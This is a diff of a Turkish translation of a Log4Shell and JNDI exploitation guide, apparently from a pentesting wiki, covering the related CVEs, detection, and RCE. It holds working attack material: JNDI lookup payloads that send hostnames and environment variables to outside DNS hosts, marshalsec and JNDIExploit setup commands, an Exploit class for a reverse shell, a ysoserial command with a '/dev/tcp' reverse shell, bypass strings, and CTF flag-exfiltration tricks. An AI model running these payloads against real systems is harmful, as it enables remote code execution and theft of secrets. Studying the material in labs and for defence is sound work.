- Kötü niyetli dosyaların yerleştirilebileceği belirli dizinler için evrensel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) veya dosya okuma izinleri.
|
||||
|
||||
@ -59,9 +59,9 @@ RMI (Remote Method Invocation) için durum biraz farklıdır. CORBA'da olduğu g
|
||||
|
||||
Öncelikle, bir Arama ile bir Lookup arasında ayrım yapmamız gerekiyor.\
|
||||
Bir **arama**, `ldap://localhost:389/o=JNDITutorial` gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulacak ve **özelliklerini alacaktır**.\
|
||||
Bir **lookup**, **adlandırma hizmetleri** içindir çünkü **bir isme bağlı olan her şeyi** almak istiyoruz.
|
||||
Bir **lookup**, **bir isme bağlı olan her şeyi** almak için **adlandırma hizmetleri** içindir.
|
||||
|
||||
Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true` olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır**.
|
||||
Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true`** olarak çağrıldıysa, döndürülen nesne **yeniden yapılandırılacaktır**.
|
||||
|
||||
Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır.\
|
||||
Bir **saldırgan, sistemlerin topladığı kayıtlara yükler** ekleyerek LDAP kayıtlarını zehirleyebilir (LDAP sunucusuna erişiminiz varsa **onlarca makineyi tehlikeye atmak için çok faydalıdır**). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında **MitM saldırısı** gerçekleştirmektir.
|
||||
@ -81,47 +81,47 @@ Bu LDAP'ı **JavaFactory referansları** kullanarak saldırmak daha kolaydır:
|
||||
|
||||
.png>)
|
||||
|
||||
## Log4Shell Zafiyeti
|
||||
## Log4Shell Açığı
|
||||
|
||||
Zafiyet, Log4j'de, `${prefix:name}` biçiminde bir [**özel sözdizimi**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) desteklediği için ortaya çıkmaktadır; burada `prefix`, değerlendirilecek farklı [**Lookup'lar**](https://logging.apache.org/log4j/2.x/manual/lookups.html) arasında bir tanesidir. Örneğin, `${java:version}` mevcut çalışan Java sürümüdür.
|
||||
Açık, Log4j'de, `${prefix:name}` biçiminde bir [**özel sözdizimi**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) desteklediği için ortaya çıkmaktadır; burada `prefix`, değerlendirilecek farklı [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) arasında bir tanesidir. Örneğin, `${java:version}` mevcut çalışan Java sürümüdür.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) bir `jndi` Lookup özelliği tanıttı. Bu özellik, JNDI aracılığıyla değişkenlerin alınmasını sağlar. Genellikle, anahtar otomatik olarak `java:comp/env/` ile ön eklenir. Ancak, anahtarın kendisi **":"** içeriyorsa, bu varsayılan ön ek uygulanmaz.
|
||||
|
||||
Anahtar içinde **: mevcut** olduğunda, `${jndi:ldap://example.com/a}` gibi, **hiçbir ön ek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir.
|
||||
|
||||
Bu nedenle, RCE elde etmek için gereken tek şey, **kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'in savunmasız bir sürümüdür**. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğundan (internetle yüzleşen uygulamalar dahil), örneğin alınan HTTP başlıkları gibi log4j kaydı yapmak oldukça yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği her türlü girişi ve veriyi kaydetmek için **kullanılmamaktadır**.
|
||||
Bu nedenle, RCE elde etmek için gereken tek şey, **kullanıcı tarafından kontrol edilen bilgileri işleyen savunmasız bir Log4j sürümüdür**. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğundan (internetle yüzleşen uygulamalar dahil), örneğin alınan HTTP başlıkları gibi log4j kaydı yapmak oldukça yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girdi ve veriyi kaydetmek için **kullanılmamaktadır**.
|
||||
|
||||
## Log4Shell ile İlgili CVE'lerin Genel Görünümü
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritik]**
|
||||
|
||||
Bu zafiyet, `log4j-core` bileşeninde kritik bir **güvenilmeyen serileştirme hatasıdır**, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **uzaktan kod çalıştırma (RCE)** olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
Bu açık, `log4j-core` bileşeninde kritik bir **güvensiz serileştirme hatasıdır**, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **uzaktan kod çalıştırma (RCE)** olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritik]**
|
||||
|
||||
Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilmiş olan bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)** hatasıdır. Varsayılan olmayan yapılandırmaları etkiler ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini göstermektedir. Sorun, mesaj arama desenlerini kaldırarak ve varsayılan olarak JNDI'yi devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.
|
||||
Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilmiş olan bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)** hatasıdır. Varsayılan olmayan yapılandırmaları etkilemekte ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanımaktadır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerinin kaldırılması ve JNDI'nin varsayılan olarak devre dışı bırakılmasıyla çözülmüştür.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Yüksek]**
|
||||
|
||||
`JMSAppender` kullanan **Log4j 1.x sürümlerini** etkileyen bu CVE, güvenilmeyen bir serileştirme hatasıdır. 1.x dalı için bir düzeltme mevcut değildir ve `log4j-core 2.17.0` sürümüne yükseltilmesi önerilmektedir.
|
||||
**Log4j 1.x sürümlerini** etkilemekte olan bu CVE, `JMSAppender` kullanan varsayılan olmayan yapılandırmalarda bir güvensiz serileştirme hatasıdır. 1.x dalı için bir düzeltme mevcut değildir ve `log4j-core 2.17.0` sürümüne yükseltilmesi önerilmektedir.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Orta]**
|
||||
|
||||
Bu zafiyet, Log4j 1.x'in halefidir olan **Logback kayıt çerçevesini** etkilemektedir. Daha önce güvenli olduğu düşünülen çerçeve, zayıf olduğu bulunmuş ve sorunu çözmek için daha yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.
|
||||
Bu açık, Log4j 1.x'in halefidir olan **Logback kayıt çerçevesini** etkilemektedir. Daha önce güvenli olduğu düşünülen çerçeve, savunmasız olduğu bulunmuş ve sorunu gidermek için daha yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.
|
||||
|
||||
### **CVE-2021-45105** **\[Yüksek]**
|
||||
|
||||
Log4j 2.16.0, bir DoS hatası içermektedir ve CVE'yi düzeltmek için `log4j 2.17.0` yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) bulunmaktadır.
|
||||
Log4j 2.16.0, bir DoS hatası içermekte olup, CVE'yi düzeltmek için `log4j 2.17.0` sürümü yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) bulunmaktadır.
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'in yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod çalıştırma ile ilgilidir. Daha fazla ayrıntı [Checkmarx blog yazısında](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) bulunmaktadır.
|
||||
Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod çalıştırma ile ilgilidir. Daha fazla ayrıntı [Checkmarx blog yazısında](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) mevcuttur.
|
||||
|
||||
## Log4Shell İstismarı
|
||||
|
||||
### Keşif
|
||||
|
||||
Bu zafiyet, korunmasızsa çok kolay bir şekilde keşfedilebilir çünkü en azından belirttiğiniz adrese bir **DNS isteği** gönderecektir. Bu nedenle, aşağıdaki gibi yükler:
|
||||
Bu açık, korunmasızsa keşfedilmesi çok kolaydır çünkü en az bir **DNS isteği** belirttiğiniz adrese gönderilecektir. Bu nedenle, aşağıdaki gibi yükler:
|
||||
|
||||
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
|
||||
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
@ -129,10 +129,10 @@ Bu zafiyet, korunmasızsa çok kolay bir şekilde keşfedilebilir çünkü en az
|
||||
- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
|
||||
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
|
||||
|
||||
**Bir DNS isteği alındığında, bu uygulamanın istismar edilebilir olduğu anlamına gelmez** (veya hatta savunmasızdır), bunu istismar etmeyi denemeniz gerekecektir.
|
||||
Unutmayın ki **bir DNS isteği alınması, uygulamanın istismar edilebilir olduğu anlamına gelmez** (veya hatta savunmasız olduğu), bunu istismar etmeyi denemeniz gerekecektir.
|
||||
|
||||
> [!NOTE]
|
||||
> **2.15 sürümünü istismar etmek için localhost kontrol atlatmasını eklemeniz gerektiğini unutmayın**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
> **2.15 sürümünü istismar etmek için localhost kontrol atlatmasını eklemeyi unutmayın**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
|
||||
#### **Yerel Keşif**
|
||||
|
||||
@ -205,9 +205,9 @@ Any other env variable name that could store sensitive information
|
||||
### RCE Bilgisi
|
||||
|
||||
> [!NOTE]
|
||||
> JDK sürümleri 6u141, 7u131 veya 8u121'in üzerinde çalışan ana makineler, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır; bu da JNDI'nin LDAP üzerinden uzaktan bir kod tabanı yüklemesini engeller. Ancak, bu sürümlerin **deserialization saldırı vektörüne karşı korunmadığını** belirtmek önemlidir.
|
||||
> JDK sürümleri 6u141, 7u131 veya 8u121'in üzerinde çalışan ana makineler, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır; bu da JNDI'nin LDAP aracılığıyla uzaktan bir kod tabanı yüklemesini engeller. Ancak, bu sürümlerin **deserialization saldırı vektörüne karşı korunmadığını** belirtmek önemlidir.
|
||||
>
|
||||
> Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir **güvenilir gadget** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve çalıştırmak için manipüle edilebilir.
|
||||
> Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir **güvenilir alet** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve çalıştırmak için manipüle edilebilir.
|
||||
>
|
||||
> **Daha fazla bilgi için** (_RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi_) **önceki JNDI İsimlendirme Referans bölümüne** veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) bakın.
|
||||
|
||||
@ -215,11 +215,11 @@ Any other env variable name that could store sensitive information
|
||||
|
||||
Bunu **THM kutusunda** test edebilirsiniz: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
Aracı [**marshalsec**](https://github.com/mbechler/marshalsec) kullanın (jar sürümü [**burada**](https://github.com/RandomRobbieBF/marshalsec-jar) mevcuttur). Bu yaklaşım, bağlantıları istismarının barındırılacağı ikincil bir HTTP sunucusuna yönlendirmek için bir LDAP yönlendirme sunucusu kurar:
|
||||
Aracı [**marshalsec**](https://github.com/mbechler/marshalsec) kullanın (jar sürümü [**burada**](https://github.com/RandomRobbieBF/marshalsec-jar) mevcuttur). Bu yaklaşım, bağlantıları istismar edilecek ikinci bir HTTP sunucusuna yönlendirmek için bir LDAP yönlendirme sunucusu kurar:
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
Hedefi bir ters shell kodu yüklemeye zorlamak için, aşağıdaki içeriğe sahip `Exploit.java` adlı bir Java dosyası oluşturun:
|
||||
Hedefi bir ters shell kodu yüklemeye zorlamak için, aşağıdaki içeriğe sahip `Exploit.java` adında bir Java dosyası oluşturun:
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
@ -231,9 +231,9 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
Java dosyasını bir sınıf dosyasına derlemek için: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde bir **HTTP sunucusu** başlatmak için: `python3 -m http.server` komutunu kullanın. **marshalsec LDAP sunucusu** bu HTTP sunucusunu referans aldığından emin olun.
|
||||
Java dosyasını bir sınıf dosyasına derlemek için: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde bir **HTTP sunucusu** başlatmak için: `python3 -m http.server`. **marshalsec LDAP sunucası** bu HTTP sunucusunu referans aldığından emin olun.
|
||||
|
||||
Hedef web sunucusunda exploit sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir yük gönderin:
|
||||
Hedef web sunucusunda istismar sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir yük gönderin:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
@ -242,20 +242,20 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
> [!NOT]
|
||||
> Yazarın log4shell keşfedildikten sonra bu projeyi github'dan kaldırdığı için bir neden var. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde önbelleklenmiş bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı kullanmak için farklı bir yöntem kullanın.
|
||||
> Yazarın log4shell keşfedildikten sonra bu projeyi github'dan kaldırdığına dikkat edin. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı kullanmak için farklı bir yöntem kullanın.
|
||||
>
|
||||
> Ayrıca, kaynak kodunu wayback makinesinde bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmeden jar dosyasını çalıştırın.
|
||||
|
||||
Bu örnek için, port 8080'de **log4shell için bu savunmasız web sunucusunu** çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README'de nasıl çalıştırılacağını bulacaksınız_). Bu savunmasız uygulama, HTTP istek başlığının _X-Api-Version_ içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.
|
||||
Bu örnek için, port 8080'de **log4shell için bu savunmasız web sunucusunu** çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README'de nasıl çalıştırılacağını bulacaksınız_). Bu savunmasız uygulama, HTTP istek başlığı _X-Api-Version_'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.
|
||||
|
||||
Sonra, **JNDIExploit** jar dosyasını indirip şu şekilde çalıştırabilirsiniz:
|
||||
Ardından, **JNDIExploit** jar dosyasını indirip şu şekilde çalıştırabilirsiniz:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Kodun sadece birkaç dakikasını okuduktan sonra, _com.feihong.ldap.LdapServer_ ve _com.feihong.ldap.HTTPServer_ içinde **LDAP ve HTTP sunucularının nasıl oluşturulduğunu** görebilirsiniz. LDAP sunucusu hangi yükün sunulması gerektiğini anlayacak ve kurbanı, istismarı sunacak olan HTTP sunucusuna yönlendirecektir.\
|
||||
_**com.feihong.ldap.gadgets**_ içinde, istenen eylemi gerçekleştirmek için kullanılabilecek **bazı özel aletler** bulabilirsiniz (potansiyel olarak rastgele kod çalıştırmak). Ve _com.feihong.ldap.template_ içinde, **istismarları oluşturacak** farklı şablon sınıflarını görebilirsiniz.
|
||||
_**com.feihong.ldap.gadgets**_ içinde, istenen eylemi gerçekleştirmek için kullanılabilecek **bazı özel aletler** bulabilirsiniz (potansiyel olarak rastgele kod çalıştırmak). Ve _com.feihong.ldap.template_ içinde, **istismarları üretecek** farklı şablon sınıflarını görebilirsiniz.
|
||||
|
||||
Tüm mevcut istismarları **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** ile görebilirsiniz. Bazı yararlı olanlar şunlardır:
|
||||
```bash
|
||||
@ -288,7 +288,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
||||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_Bu saldırı, özel olarak üretilmiş bir java nesnesi kullanarak **THM solar room** gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod çalıştırmak için güvenilir bir sınıfı kötüye kullanmıyor._
|
||||
_Bu saldırı, özel olarak üretilmiş bir java nesnesi kullanarak **THM solar room** gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod yürütmek için güvenilir bir sınıfı istismar etmiyor._
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
@ -296,20 +296,20 @@ _Bu saldırı, özel olarak üretilmiş bir java nesnesi kullanarak **THM solar
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Bu seçenek, **sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır**. Bu nedenle, **ysoserial**, **rastgele kod çalıştırmak için kullanılabilecek güvenilir sınıfların serileştirmelerini** oluşturmak için kullanılacaktır (_ysoserial tarafından kötüye kullanılan güvenilir sınıf, saldırının çalışması için kurban java programı tarafından kullanılmalıdır_).
|
||||
Bu seçenek, **sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır**. Bu nedenle, **ysoserial**, **rastgele kod yürütmek için kullanılabilecek güvenilir sınıfların serileştirmelerini** oluşturmak için kullanılacaktır (_ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır_).
|
||||
|
||||
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak, JNDI tarafından indirilecek olan deserialization exploit'ini oluşturabilirsiniz:
|
||||
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak, JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak, istismarın savunmasız makinelerden bağlantılar bekleyeceği **JNDI bağlantıları** oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen **farklı istismarları** veya hatta **kendi serileştirme yüklerinizi** (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak, istismarların savunmasız makinelerden bağlantılar bekleyeceği **JNDI bağlantıları** oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen **farklı istismarları** veya hatta **kendi serileştirme yüklerinizi** (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
.png>)
|
||||
|
||||
Artık oluşturulmuş bir JNDI bağlantısını kullanarak açığı istismar edebilir ve **ters shell** elde edebilirsiniz, sadece log4j'nin savunmasız bir versiyonuna göndererek: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
Artık oluşturulmuş bir JNDI bağlantısını kullanarak açığı istismar edebilir ve bir **reverse shell** elde edebilirsiniz, sadece bunu log4j'nin savunmasız bir versiyonuna göndererek: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Bypass'ler
|
||||
```java
|
||||
@ -349,9 +349,9 @@ Log4j'nin [**güvenlik sayfası**](https://logging.apache.org/log4j/2.x/security
|
||||
|
||||
> 2.16.0 sürümünden itibaren (Java 8 için), **mesaj arama özelliği tamamen kaldırılmıştır**. **Yapılandırmadaki aramalar hala çalışmaktadır**. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakmaktadır. Yapılandırmadaki JNDI aramaları artık açıkça etkinleştirilmelidir.
|
||||
|
||||
> 2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilmektedir**; başka bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe geçmiş arama çözülmez.
|
||||
> 2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilmektedir**; başka bir kullanımda, yalnızca en üst düzey arama çözülmekte ve herhangi bir iç içe geçmiş arama çözülmemektedir.
|
||||
|
||||
Bu, varsayılan olarak herhangi bir `jndi` istismarını **unutabileceğiniz** anlamına gelir. Dahası, **özyinelemeli aramalar** gerçekleştirmek için bunları yapılandırmanız gerekir.
|
||||
Bu, varsayılan olarak herhangi bir `jndi` istismarını **unutabileceğiniz** anlamına gelir. Dahası, **özyinelemeli aramalar** gerçekleştirmek için bunları yapılandırmanız gerekmektedir.
|
||||
|
||||
Örneğin, bu CTF'de bu, log4j2.xml dosyasında yapılandırılmıştı:
|
||||
```xml
|
||||
@ -362,12 +362,12 @@ Bu, varsayılan olarak herhangi bir `jndi` istismarını **unutabileceğiniz** a
|
||||
```
|
||||
### Env Lookups
|
||||
|
||||
Bu [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) içinde saldırgan `${sys:cmd}` değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı dışarı çıkarması gerekiyordu.\
|
||||
Bu [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) 'de saldırgan `${sys:cmd}` değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı dışarı çıkarması gerekiyordu.\
|
||||
Bu sayfada [**önceki yükler**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) içinde ortam değişkenlerine erişmenin farklı yolları vardır, örneğin: **`${env:FLAG}`**. Bu CTF'de bu işe yaramadı ama diğer gerçek yaşam senaryolarında işe yarayabilir.
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
CTF'de, log4J kullanan java uygulamasının **stderr**'ine erişemediniz, ancak Log4J **istisnaları stdout'a** gönderilir, bu da python uygulamasında yazdırıldığı anlamına geliyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarı çıkarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığından ve bayrağın değeriyle bir istisna gösterileceğinden çalışır:
|
||||
CTF'de, log4J kullanan java uygulamasının **stderr**'ine erişemediniz, ancak Log4J **istisnaları stdout'a** gönderilir, bu da python uygulamasında yazdırıldığı anlamına gelir. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarı çıkarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığından ve bayrağın değeriyle bir istisna gösterileceğinden çalışır:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -385,14 +385,14 @@ Ancak, bazı **regex'leri destekleyen dönüşüm desenlerini** kullanarak bir a
|
||||
|
||||
- **İstisna mesajları aracılığıyla ikili arama**
|
||||
|
||||
Dönüşüm deseni **`%replace`** bir **dizgeden** **içeriği** **değiştirmek** için **regex'leri** kullanarak kullanılabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
|
||||
Bu davranışı kötüye kullanarak, **regex bir şeyle eşleşirse** bir istisna tetiklemek için replace'i yapabilirsiniz (ve bulunmadığında istisna yoktur) şöyle:
|
||||
Dönüşüm deseni **`%replace`** bir **dize** içindeki **içeriği** **değiştirmek** için **regex'leri** kullanarak kullanılabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
|
||||
Bu davranışı kötüye kullanarak, **regex bir şeyle eşleşirse** bir istisna tetiklenmesini sağlayabilir (ve bulunmadığında istisna olmaz) şöyle:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||||
```
|
||||
- **Zaman bazlı**
|
||||
- **Zaman Tabanlı**
|
||||
|
||||
